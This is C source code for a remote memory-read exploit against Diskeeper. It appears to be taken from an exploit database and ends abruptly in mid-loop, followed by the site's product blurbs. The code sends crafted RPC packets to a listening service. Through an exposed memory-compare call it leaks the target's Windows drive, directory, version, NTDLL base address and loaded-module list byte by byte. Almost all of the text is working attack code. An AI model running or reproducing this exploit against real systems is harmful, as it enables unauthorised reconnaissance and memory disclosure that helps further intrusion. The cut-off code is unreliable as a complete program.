//Diskeeper Remote Memory Read
//By: Pravus
#define WIN32_LEAN_AND_MEAN
#define PORT 31038
#define DELAY 50
#define _CRT_SECURE_NO_DEPRECATE
#define _USE_32BIT_TIME_T
#define servername "127.0.0.1"
#pragma comment (lib,"ws2_32")
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/timeb.h>
#include <time.h>
char rpcbind [] =
"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00"
"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
"\xb7\xf9\x09\x28\xef\xcf\x64\x41\x8c\x46\xe8\xd4\x17\x52\x2c\x1c"
"\x03\x00\x03\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
"\x2b\x10\x48\x60\x02\x00\x00\x00";
char request [] =
"\x05\x00\x00\x03\x10\x00\x00\x00\x68\x00\x00\x00\x00\x00\x00\x00"
"\x50\x00\x00\x00\x00\x00\x01\x00";
//4 byte len
//4 byte len
//dword aligned string
//pointer
//ign dword
//This function is a simple remote comparison returning true if the memory
//at loc matches value for len bytes. This is where the real "exploitation"
//comes into play. We just send a mocked up RPC request using their provided
//remote mem compare function.
BOOL rmemcmp(SOCKET conn, int loc, char* value, int len)
{
char buff [32768];
int w,x=0;
memset(buff, '\0', sizeof(buff));
memcpy(buff, request, sizeof(request));
x+=sizeof(request)-1;
memcpy(buff+x, &len, sizeof(len)); //len
x+=sizeof(len);
memcpy(buff+x, &len, sizeof(len)); //len
x+=sizeof(len);
memcpy(buff+x, value, len); //string
x+=len;
x+=(8-(len%8))%8; //null pad
memcpy(buff+x, &loc, sizeof(loc)); //pointer
x+=sizeof(loc);
w=0;
memcpy(buff+x, &w, sizeof(w)); //don't care
x+=sizeof(w);
w=x-0x18;
memcpy(buff+8, &x, sizeof(x));
memcpy(buff+0x10, &w, sizeof(w));
send(conn,(const char*)buff,x,0);
recv(conn,(char*)buff,2048,0);
w=*(buff+0x18);
return (BOOL)w;
}
//main function do all the calls
int main(int argc, char** argv)
{
WSADATA wsaData;
if (WSAStartup(0x202,&wsaData))
return 1;
SOCKET conn;
conn=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(conn==INVALID_SOCKET)
return 1;
unsigned long addr;
addr=inet_addr(servername);
if (addr==INADDR_NONE)
{
closesocket(conn);
return 1;
}
sockaddr_in server;
server.sin_addr.s_addr=addr;
server.sin_family=AF_INET;
server.sin_port=htons(PORT);
if(connect(conn,(struct sockaddr*)&server,sizeof(server)))
{
closesocket(conn);
return 1;
}
linger ling;
ling.l_onoff=1;
ling.l_linger=0;
char buff [32768];
char str [1024];
WCHAR wstr [1024];
unsigned char filechars [] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.\\";
unsigned int listbin, mask;
unsigned char c, *d;
int u,v,w,x,y,z,ret,ntbase,ntdata,modbase;
struct _timeb timebuffer;
timeval t;
t.tv_sec=0;
t.tv_usec=DELAY;
//send the rpc bind
send(conn,(const char*)rpcbind,sizeof(rpcbind)-1,0);
recv(conn,(char*)buff,2048,0);
//get the Windows drive letter
ret=0;
c='A';
y=1;
z=0x7FFE0030;
while ((ret==0) && (c<='Z'))
{
sprintf(str, "%c", c);
ret=rmemcmp(conn, z, str, y);
c++;
}
if (!ret)
{
printf("Could not determine drive letter.\n");
}
else
{
c--;
printf("Windows running on drive %c\n",c);
}
//get the Windows dir
z=0x7FFE0036;
wcscpy(wstr, L"WINDOWS");
y=wcslen(wstr)*2;
if (rmemcmp(conn, z, (char*)wstr, y))
{
printf("Windows directory is WINDOWS\n");
}
else
{
wcscpy(wstr, L"WINNT");
y=wcslen(wstr)*2;
if (rmemcmp(conn, z, (char*)wstr, y))
{
printf("Windows directory is WINNT\n");
}
else
{
ret=0;
y=1;
z=0x7FFE0036;
printf("Windows directory is ");
do {
d=filechars;
ret=0;
while ((ret==0) && (*d))
{
sprintf(str, "%c", *d);
ret=rmemcmp(conn, z, str, y);
d++;
}
if (ret)
printf(str);
z+=2;
} while (ret==1);
printf("\n");
}
}
//Windows version
printf("Windows version is ");
ret=0;
c='\x00';
y=1;
z=0x7FFE026C;
while (ret==0)
{
sprintf(str, "%c", c);
ret=rmemcmp(conn, z, str, y);
c++;
}
c--;
printf("%u.",c);
ret=0;
c='\x00';
y=1;
z+=4;
while (ret==0)
{
sprintf(str, "%c", c);
ret=rmemcmp(conn, z, str, y);
c++;
}
c--;
printf("%u\n",c);
//find the NTDLL.DLL base address
x=0;
y=1;
for (z=0x7FFE0303; z>=0x7FFE0300; z--)
{
ret=0;
c='\x00';
while (ret==0)
{
sprintf(str, "%c", c);
ret=rmemcmp(conn, z, str, y);
c++;
}
c--;
x=x<<8;
x+=c;
}
// printf ("Beginning search for NTDLL.DLL at 0x%x\n",x);
z=x&0xFFFF0000;
strcpy(str, "MZ");
y=2;
ret=0;
while (ret==0)
{
ret=rmemcmp(conn, z, str, y);
z-=0x10000;
}
z+=0x10000;
ntbase=z;
printf ("NTDLL.DLL is based at 0x%x\n",z);
//Look for .data section and then the module hash table in NTDLL (LDR_MODULE)
z+=0x160; //to skip over some of DOS header + PE header + .text section
strcpy(str, ".data");
y=5;
ret=0;
while (ret==0)
{
ret=rmemcmp(conn, z, str, y);
z+=4;
}
z+=8; //start of .data + 0x0c
y=1;
x=0;
for (w=z+3; w>=z; w--)
{
ret=0;
c='\x00';
while (ret==0)
{
sprintf(str, "%c", c);
ret=rmemcmp(conn, w, str, y);
c++;
}
c--;
x=x<<8;
x+=c;
}
z=ntdata=x+ntbase;
printf ("NTDLL data section located at 0x%x\n",z);
//mask - 0=can't be empty hash, 1=can be empty; 01001101 11010000 10000101 11111111
mask=0x4DD085FF;
listbin=0;
y=4;
do
{
ret=rmemcmp(conn, z, (char*)&z, y);
listbin=(listbin<<1)+ret;
ret=rmemcmp(conn, z+4, (char*)&z, y);
listbin=listbin&(~(!ret));
z+=8;
} while ((z<ntdata+256)||((listbin&mask)!=listbin)||((listbin&0x3F)!=0x3F));
//note - if this isn't working, may need to tweak the last while clause...
//if a DLL were being loaded/injected that didn't start with an alpha character,
//these buckets wouldn't be empty
modbase=z-256;
printf("Found loaded modules list at 0x%x\n",modbase);
_ftime( &timebuffer );
//lets get the modules
for (z=modbase;z<modbase+256;z+=8)
{
if (((listbin>>(31-((z-modbase)/8)))&1)==0)
{
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation